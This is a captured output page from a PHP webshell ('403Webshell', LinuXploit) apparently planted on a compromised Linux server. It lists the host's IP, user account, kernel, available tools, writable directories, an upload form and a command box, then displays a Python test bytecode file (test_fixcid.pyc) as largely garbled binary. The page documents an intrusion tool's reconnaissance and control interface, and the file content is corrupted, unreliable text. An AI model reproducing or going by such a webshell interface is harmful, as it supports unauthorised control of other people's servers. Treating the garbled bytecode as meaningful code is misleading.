403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/test_tools/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/test_tools/__pycache__/test_fixcid.cpython-36.pyc
3

�w2_��@spdZddlmZddlZddlZddlZddlZddlmZddl	m
Z
mZddlZe
�Gdd�dej
�ZdS)zTest Tools/scripts/fixcid.py.�)�StringION)�support)�skip_if_missing�
scriptsdirc@s6eZdZdd�Zdd�Zdd�Zddd	d
�dd�Zd
S)�TestcCs<d}d}|j||�}d}d}|j|dj||||d��dS)Nzint xx = "xx\"xx"[xx];
zint xx = 'x\'xx' + xx;
zint yy = "xx\"xx"[yy];
zint yy = 'x\'xx' + yy;
z01
< {old1}> {new1}{new1}2
< {old2}> {new2}{new2})�old1�old2�new1�new2)�
run_script�assertMultiLineEqual�format)�selfrr�outputr	r
�r�@/opt/alt/python36/lib64/python3.6/test/test_tools/test_fixcid.py�test_parse_stringsszTest.test_parse_stringscCs |jdddd�}|j|d�dS)Nz
xx yy
*aa bb
�-c�-z4/* xx altered */
int xx;
/* aa unaltered */
int aa;
)�	substfile�args�inputz�1
< /* xx altered */
> /* yy altered */
/* yy altered */
2
< int xx;
> int yy;
int yy;
/* aa unaltered */
4
< int aa;
> int bb;
int bb;
)rr)rr)rrrrr�test_alter_commentsszTest.test_alter_commentscCs�tjtj�|jtjtj�tjjtjd�}t|d��}|j	d�WdQRXttjjtjd�d��}|j	d�WdQRXtjjt
d�}|jtjfd�}|j|dj
|��dS)	Nzfile.c�wzint xx;
zfile.pyzxx = 'unaltered'
z	fixcid.py)rz{}:
1
< int xx;
> int yy;
)�os�mkdirr�TESTFN�
addCleanupZrmtree�path�join�open�writerrrr
)rZ
c_filename�file�scriptrrrr�test_directory;szTest.test_directory�rzxx yy
)rrc
3Cstjd}t|d��}|j|�WdQRX|jtj|�dd|gt|�}tjj	t
d�}tjtd|���tjtdt
|���rtj��^}tj��Jytj|dd�Wn0tk
r�}	z|j|	jd	�WYdd}	~	XnXWdQRXWdQRXWdQRXWdQRX|j�S)
Nz.substrz	fixcid.pyz-s�argv�stdin�__main__)Zrun_namer)rrr r!r�unlink�listrrrrZ	swap_attr�sysrZcaptured_stdoutZcaptured_stderr�runpyZrun_path�
SystemExitZassertEqual�code�getvalue)
rrrrZ
substfilenamer"r&r#r�exitrrrrLs


HzTest.run_scriptN)r%)r)�__name__�
__module__�__qualname__rrr$rrrrrr
sr)�__doc__�iorrZos.pathr,r+ZtestrZtest.test_toolsrrZunittestZTestCaserrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit